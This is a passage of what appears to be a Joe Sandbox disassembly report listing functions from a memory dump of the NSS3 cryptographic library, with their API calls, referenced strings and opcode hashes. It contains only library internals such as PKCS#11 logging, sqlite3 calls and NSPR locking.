SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,?,6C7378F8), ref: 6C774EC0

Part of subcall function 6C774470: TlsGetValue.KERNEL32(00000000,?,6C737296,00000000), ref: 6C774487
Part of subcall function 6C774470: EnterCriticalSection.KERNEL32(?,?,?,6C737296,00000000), ref: 6C7744A0
Part of subcall function 6C774470: PR_Unlock.NSS3(?,?,?,?,6C737296,00000000), ref: 6C7744BB

TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6C7378F8), ref: 6C774F16
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6C7378F8), ref: 6C774F2E
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6C7378F8), ref: 6C774F40
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6C7378F8), ref: 6C774F6C
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6C7378F8), ref: 6C774F80
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C7378F8), ref: 6C774F8F
PK11_UpdateSlotAttribute.NSS3(?,6C84DCB0,00000000), ref: 6C774FFE
PK11_UserDisableSlot.NSS3(0000001E), ref: 6C77501F
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,6C7378F8), ref: 6C77506B

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: Value$Param$CriticalEnterErrorFlagModuleSectionUnlockfree$DestroyK11_Slotstrcmp$AttributeDisableFindInitTextUpdateUsermallocmemcpy
String ID:
API String ID: 560490210-0
Opcode ID: e948d2c30450b6e2b5059cf73cc2f519a7dbcdc98a5fa15b28e7627961ce37e7
Instruction ID: 6b459c9958c03ca0b21b6523fc533f084da24d2fabf82d868210feedd5fe164e
Opcode Fuzzy Hash: e948d2c30450b6e2b5059cf73cc2f519a7dbcdc98a5fa15b28e7627961ce37e7
Instruction Fuzzy Hash: FB51B4B19012099BDF219F34EE0D6AB36B4EF0535CF180635E81696A12FB31D525CAE2

Function 6C71ACC0 Relevance: 19.6, APIs: 13, Instructions: 150stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C71ACE2
malloc.MOZGLUE(00000001), ref: 6C71ACEC
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C71AD02
TlsGetValue.KERNEL32 ref: 6C71AD3C
calloc.MOZGLUE(00000001,?), ref: 6C71AD8C
PR_Unlock.NSS3 ref: 6C71ADC0
free.MOZGLUE(00000000), ref: 6C71AE48
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C71AE58
free.MOZGLUE(00000000), ref: 6C71AE69
free.MOZGLUE(?), ref: 6C71AE78
PR_Unlock.NSS3 ref: 6C71AE8C
free.MOZGLUE(?), ref: 6C71AEAB
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C71AEC7

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: free$Unlock$ErrorValuecallocmallocmemcpystrcpystrlen
String ID:
API String ID: 786543732-0
Opcode ID: e32d706a6e17769db69e4f06de8c020769d6f692b4e3268defe283c6d7934dce
Instruction ID: f58d487d7facbfa2e5837bc68a090e652c4c54e59d946a8323b6f0fe7c5bc906
Opcode Fuzzy Hash: e32d706a6e17769db69e4f06de8c020769d6f692b4e3268defe283c6d7934dce
Instruction Fuzzy Hash: 3F51B3B0E052158BDF21DF98CA4A66EB7B4AB0635DF080135D854A3F11E731AD1CCBE2

Function 6C75ADC0 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageSignInit), ref: 6C75ADE6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C75AE17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C75AE29

Part of subcall function 6C83D930: PL_strncpyz.NSS3(?,?,?), ref: 6C83D963

PR_LogPrint.NSS3(?,00000000), ref: 6C75AE3F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6C75AE78
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C75AE8A
PR_LogPrint.NSS3(?,00000000), ref: 6C75AEA0

Strings

C_MessageSignInit, xrefs: 6C75ADE1
(CK_INVALID_HANDLE), xrefs: 6C75AE1F, 6C75AE80
hKey = 0x%x, xrefs: 6C75AE62, 6C75AE72
hSession = 0x%x, xrefs: 6C75AE01, 6C75AE11

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hKey = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageSignInit
API String ID: 332880674-605059067
Opcode ID: 16b420872507097272c10ef0a1b70cf17fe8debb1da6900e305abe61c59b2a69
Instruction ID: 2aaab10cc2f103b7b46b7a73c79d3f6fea8fbfc005489d86cd33906f96ad86bb
Opcode Fuzzy Hash: 16b420872507097272c10ef0a1b70cf17fe8debb1da6900e305abe61c59b2a69
Instruction Fuzzy Hash: 2831FA35702214ABCB209F58DE8DBBE3779AB4631DF854835E4095BB41DF34A828DBE1

Function 6C7F4C40 Relevance: 19.3, APIs: 3, Strings: 8, Instructions: 97COMMON

Download Yara Rule

APIs

sqlite3_value_text16.NSS3(?), ref: 6C7F4CAF
sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C7F4CFD
sqlite3_value_text16.NSS3(?), ref: 6C7F4D44

Strings

invalid, xrefs: 6C7F4CF1
abort due to ROLLBACK, xrefs: 6C7F4D27, 6C7F4D33
no more rows available, xrefs: 6C7F4D2E
unknown error, xrefs: 6C7F4D56
another row available, xrefs: 6C7F4D20
bad parameter or other API misuse, xrefs: 6C7F4D05
API call with %s database connection pointer, xrefs: 6C7F4CF6
out of memory, xrefs: 6C7F4C78, 6C7F4C9E

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: sqlite3_value_text16$sqlite3_log
String ID: API call with %s database connection pointer$abort due to ROLLBACK$another row available$bad parameter or other API misuse$invalid$no more rows available$out of memory$unknown error
API String ID: 2274617401-4033235608
Opcode ID: bc36eecb80e3fbc46a7125e4148019f45bdf482a8116e9ec049b22d570927914
Instruction ID: a64946557fbb0d7281f6ba42c73e5b7a95b47ad419970774ca6581dff8d7bdef
Opcode Fuzzy Hash: bc36eecb80e3fbc46a7125e4148019f45bdf482a8116e9ec049b22d570927914
Instruction Fuzzy Hash: 5D31AA73A0882067D7280628ABA67E57321778331CF592935C9384BF55DB21AC27F3F2

Function 6C752DD0 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitPIN), ref: 6C752DF6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C752E24
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C752E33

Part of subcall function 6C83D930: PL_strncpyz.NSS3(?,?,?), ref: 6C83D963

PR_LogPrint.NSS3(?,00000000), ref: 6C752E49
PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6C752E68
PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6C752E81

Strings

pPin = 0x%p, xrefs: 6C752E63
(CK_INVALID_HANDLE), xrefs: 6C752E2C
ulPinLen = %d, xrefs: 6C752E7C
hSession = 0x%x, xrefs: 6C752E0E, 6C752E1E
C_InitPIN, xrefs: 6C752DF1

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPin = 0x%p$ ulPinLen = %d$ (CK_INVALID_HANDLE)$C_InitPIN
API String ID: 1003633598-1777813432
Opcode ID: a3a4ec8405d6d5c855ae9b208d231c359309b1da5c93d3db14973b7e75d34d06
Instruction ID: e5bf67e7741de8402827edc6b7ac825ded602505fdd23cdafcf57d9b3765308b
Opcode Fuzzy Hash: a3a4ec8405d6d5c855ae9b208d231c359309b1da5c93d3db14973b7e75d34d06
Instruction Fuzzy Hash: 6B31E475702158ABDB309B58CE8CB5E37B9AB4331DF454434E808A7B11DF34A818CBD1

Function 6C756EF0 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestUpdate), ref: 6C756F16
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C756F44
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C756F53

Part of subcall function 6C83D930: PL_strncpyz.NSS3(?,?,?), ref: 6C83D963

PR_LogPrint.NSS3(?,00000000), ref: 6C756F69
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6C756F88
PR_LogPrint.NSS3( ulPartLen = %d,?), ref: 6C756FA1

Strings

ulPartLen = %d, xrefs: 6C756F9C
pPart = 0x%p, xrefs: 6C756F83
C_DigestUpdate, xrefs: 6C756F11
(CK_INVALID_HANDLE), xrefs: 6C756F4C
hSession = 0x%x, xrefs: 6C756F2E, 6C756F3E

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPart = 0x%p$ ulPartLen = %d$ (CK_INVALID_HANDLE)$C_DigestUpdate
API String ID: 1003633598-226530419
Opcode ID: 893b7be7bba268f1ddcb63483658104eb8f961b5c9ce0c663ec7ff27ab2a9349
Instruction ID: e55d5f50ca4bc69267bbbc0f18b16d035fd704de1a61bfa1680af64556cd1758
Opcode Fuzzy Hash: 893b7be7bba268f1ddcb63483658104eb8f961b5c9ce0c663ec7ff27ab2a9349
Instruction Fuzzy Hash: 64310435A021149FDB308B28CF8CB9A37B5AB4331DF898434E80897B52DF35A958CBD1

Function 6C724880 Relevance: 18.2, APIs: 12, Instructions: 193memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C7248A2
PORT_NewArena_Util.NSS3(00000800), ref: 6C7248C4
PORT_ArenaAlloc_Util.NSS3(?,000000BC), ref: 6C7248D8
memset.VCRUNTIME140(00000004,00000000,000000B8), ref: 6C7248FB
PORT_ArenaAlloc_Util.NSS3(?,00000018), ref: 6C724908
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6C724947
SECITEM_CopyItem_Util.NSS3(?,00000000,?), ref: 6C72496C
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C724988
SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C848DAC,?), ref: 6C7249DE
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C7249FD
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C724ACB

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: Util$Alloc_ArenaError$Arena_Item_$CopyDecodeFreeQuickmemset
String ID:
API String ID: 4201528089-0
Opcode ID: 66d8474500da3344b6902304033e68c4efa8f9d143d1d145a1bf35f3548f1471
Instruction ID: 31fe9ff5af3c9ee27d7954ca760072a26f1926902a25340244d8fd398ccc26fd
Opcode Fuzzy Hash: 66d8474500da3344b6902304033e68c4efa8f9d143d1d145a1bf35f3548f1471
Instruction Fuzzy Hash: D4510371A003018FEB208E65DE49B9B76F4BF4130CF144538E969ABB81E779D408DB66

Function 6C7F2D40 Relevance: 18.2, APIs: 12, Instructions: 187COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6C7F2D9F

Part of subcall function 6C6ACA30: EnterCriticalSection.KERNEL32(?,?,?,6C70F9C9,?,6C70F4DA,6C70F9C9,?,?,6C6D369A), ref: 6C6ACA7A
Part of subcall function 6C6ACA30: LeaveCriticalSection.KERNEL32(?), ref: 6C6ACB26

sqlite3_exec.NSS3(?,?,6C7F2F70,?,?), ref: 6C7F2DF9
sqlite3_free.NSS3(00000000), ref: 6C7F2E2C
sqlite3_free.NSS3(?), ref: 6C7F2E3A
sqlite3_free.NSS3(?), ref: 6C7F2E52
sqlite3_mprintf.NSS3(6C85AAF9,?), ref: 6C7F2E62
sqlite3_free.NSS3(?), ref: 6C7F2E70
sqlite3_free.NSS3(?), ref: 6C7F2E89
sqlite3_free.NSS3(?), ref: 6C7F2EBB
sqlite3_free.NSS3(?), ref: 6C7F2ECB
sqlite3_free.NSS3(00000000), ref: 6C7F2F3E
sqlite3_free.NSS3(?), ref: 6C7F2F4C

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: sqlite3_free$CriticalSection$EnterLeavesqlite3_execsqlite3_initializesqlite3_mprintf
String ID:
API String ID: 1957633107-0
Opcode ID: d51c9f2d0ffca823f9f6f92f13277419e8d249bd5c4ff27a13a190da6db0c58a
Instruction ID: 0db41ff203cac6b621de6115713cef5e0487c65627abe610d6297ef3ae8656f6
Opcode Fuzzy Hash: d51c9f2d0ffca823f9f6f92f13277419e8d249bd5c4ff27a13a190da6db0c58a
Instruction Fuzzy Hash: 54618CB5E012459BEB00CFA8D989B9EB7B5BF49348F244038DC25A7701E731E846CBA5

Function 6C737C70 Relevance: 18.1, APIs: 12, Instructions: 141COMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6C882120,Function_00097E60,00000000,?,?,?,?,6C7B067D,6C7B1C60,00000000), ref: 6C737C81

Part of subcall function 6C6A4C70: TlsGetValue.KERNEL32(?,?,?,6C6A3921,6C8814E4,6C7ECC70), ref: 6C6A4C97
Part of subcall function 6C6A4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C6A3921,6C8814E4,6C7ECC70), ref: 6C6A4CB0
Part of subcall function 6C6A4C70: PR_Unlock.NSS3(?,?,?,?,?,6C6A3921,6C8814E4,6C7ECC70), ref: 6C6A4CC9

TlsGetValue.KERNEL32 ref: 6C737CA0
EnterCriticalSection.KERNEL32(?), ref: 6C737CB4
PR_Unlock.NSS3 ref: 6C737CCF

Part of subcall function 6C7CDD70: TlsGetValue.KERNEL32 ref: 6C7CDD8C
Part of subcall function 6C7CDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C7CDDB4

TlsGetValue.KERNEL32 ref: 6C737D04
EnterCriticalSection.KERNEL32(?), ref: 6C737D1B
realloc.MOZGLUE(-00000050), ref: 6C737D82
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C737DF4
PR_Unlock.NSS3 ref: 6C737E0E

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: CriticalSectionValue$EnterUnlock$CallErrorLeaveOncerealloc
String ID:
API String ID: 2305085145-0
Opcode ID: 8adce170673e5ee7e1e17764d08692ea2ffbeb73f5195bc315e6290fbe0400ba
Instruction ID: b217bd0413c221fc8682b0a77a11949795365fc4c7339a2dc0260137428498cc
Opcode Fuzzy Hash: 8adce170673e5ee7e1e17764d08692ea2ffbeb73f5195bc315e6290fbe0400ba
Instruction Fuzzy Hash: B8511475A46121DFDB229F28CB49A6577B5EB4331CF255039ED0847B63EB34E860CAC1

Function 6C6A4C70 Relevance: 18.1, APIs: 12, Instructions: 116threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6C6A3921,6C8814E4,6C7ECC70), ref: 6C6A4C97
EnterCriticalSection.KERNEL32(?,?,?,?,6C6A3921,6C8814E4,6C7ECC70), ref: 6C6A4CB0
PR_Unlock.NSS3(?,?,?,?,?,6C6A3921,6C8814E4,6C7ECC70), ref: 6C6A4CC9
TlsGetValue.KERNEL32(?,?,?,?,?,6C6A3921,6C8814E4,6C7ECC70), ref: 6C6A4D11
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,6C6A3921,6C8814E4,6C7ECC70), ref: 6C6A4D2A
PR_NotifyAllCondVar.NSS3(?,?,?,?,?,?,?,6C6A3921,6C8814E4,6C7ECC70), ref: 6C6A4D4A
PR_Unlock.NSS3(?,?,?,?,?,?,?,6C6A3921,6C8814E4,6C7ECC70), ref: 6C6A4D57
PR_GetCurrentThread.NSS3(?,?,?,?,?,6C6A3921,6C8814E4,6C7ECC70), ref: 6C6A4D97
PR_Lock.NSS3(?,?,?,?,?,6C6A3921,6C8814E4,6C7ECC70), ref: 6C6A4DBA
PR_WaitCondVar.NSS3 ref: 6C6A4DD4
PR_Unlock.NSS3(?,?,?,?,?,6C6A3921,6C8814E4,6C7ECC70), ref: 6C6A4DE6
PR_GetCurrentThread.NSS3(?,?,?,?,?,6C6A3921,6C8814E4,6C7ECC70), ref: 6C6A4DEF

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: Unlock$CondCriticalCurrentEnterSectionThreadValue$LockNotifyWait
String ID:
API String ID: 3388019835-0
Opcode ID: a221b7da2eb80dd12c88f6d2e951aed637dbff3cb33885513ca2178a2af39c11
Instruction ID: 4594de8279af5412c985bc6c338aae02566d7d3c9f4a2ed7b5df3b81bc3ca05a
Opcode Fuzzy Hash: a221b7da2eb80dd12c88f6d2e951aed637dbff3cb33885513ca2178a2af39c11
Instruction Fuzzy Hash: C3417BB1A09611CFCB10AFB8D8881A9BBF4BF06318B054669D89897B15EB70DC85CBD5

Function 6C72E910 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 149memorystringCOMMON

Download Yara Rule

APIs

PL_strncasecmp.NSS3(?,http://,00000007), ref: 6C72E93B
PR_SetError.NSS3(FFFFE075,00000000), ref: 6C72E94E
PORT_Alloc_Util.NSS3(00000001), ref: 6C72E995
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C72E9A7
strtol.API-MS-WIN-CRT-CONVERT-L1-1-0(?,00000000,0000000A), ref: 6C72E9CA
PORT_Strdup_Util.NSS3(6C86933E), ref: 6C72EA17
PORT_Alloc_Util.NSS3(00000001), ref: 6C72EA28

Part of subcall function 6C780BE0: malloc.MOZGLUE(6C778D2D,?,00000000,?), ref: 6C780BF8
Part of subcall function 6C780BE0: TlsGetValue.KERNEL32(6C778D2D,?,00000000,?), ref: 6C780C15

memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C72EA3C
free.MOZGLUE(?), ref: 6C72EA69

Strings

http://, xrefs: 6C72E935

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: Util$Alloc_memcpy$ErrorL_strncasecmpStrdup_Valuefreemallocstrtol
String ID: http://
API String ID: 3982757857-1121587658
Opcode ID: 08b957900bd0a7f3f4101060f58b8c238dd411ce927437e32ac0e6d5d5ca8c92
Instruction ID: 6cdbbf83c20d2ad204b34ee400fe6717a6c4db4f142492ae2c9321c30f1542c3
Opcode Fuzzy Hash: 08b957900bd0a7f3f4101060f58b8c238dd411ce927437e32ac0e6d5d5ca8c92
Instruction Fuzzy Hash: CD41986094960E4BEF608A788E807FA7FB5BB0730EF140033D8D497B42E21A8546D3E3

Function 6C837CD0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 113threadstringCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6C837CE0

Part of subcall function 6C7E9BF0: TlsGetValue.KERNEL32(?,?,?,6C830A75), ref: 6C7E9C07

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C837D36
PR_Realloc.NSS3(?,00000080), ref: 6C837D6D
PR_GetCurrentThread.NSS3 ref: 6C837D8B
PR_snprintf.NSS3(?,?,NSPR_INHERIT_FDS=%s:%d:0x%lx,?,?,?), ref: 6C837DC2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C837DD8
malloc.MOZGLUE(00000080), ref: 6C837DF8
PR_GetCurrentThread.NSS3 ref: 6C837E06

Strings

NSPR_INHERIT_FDS=%s:%d:0x%lx, xrefs: 6C837DF0
:%s:%d:0x%lx, xrefs: 6C837DB9

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: CurrentThread$strlen$R_snprintfReallocValuemalloc
String ID: :%s:%d:0x%lx$NSPR_INHERIT_FDS=%s:%d:0x%lx
API String ID: 530461531-3274975309
Opcode ID: 845f86817d18bd9057d70a0bcf9f4d1720fa8b7f391bc3e77d5b77f0572a5168
Instruction ID: 58c60ea7b0e0c9fa9e80d5a9be22e6a80f365a92f9b5d1078ab105659681da6a
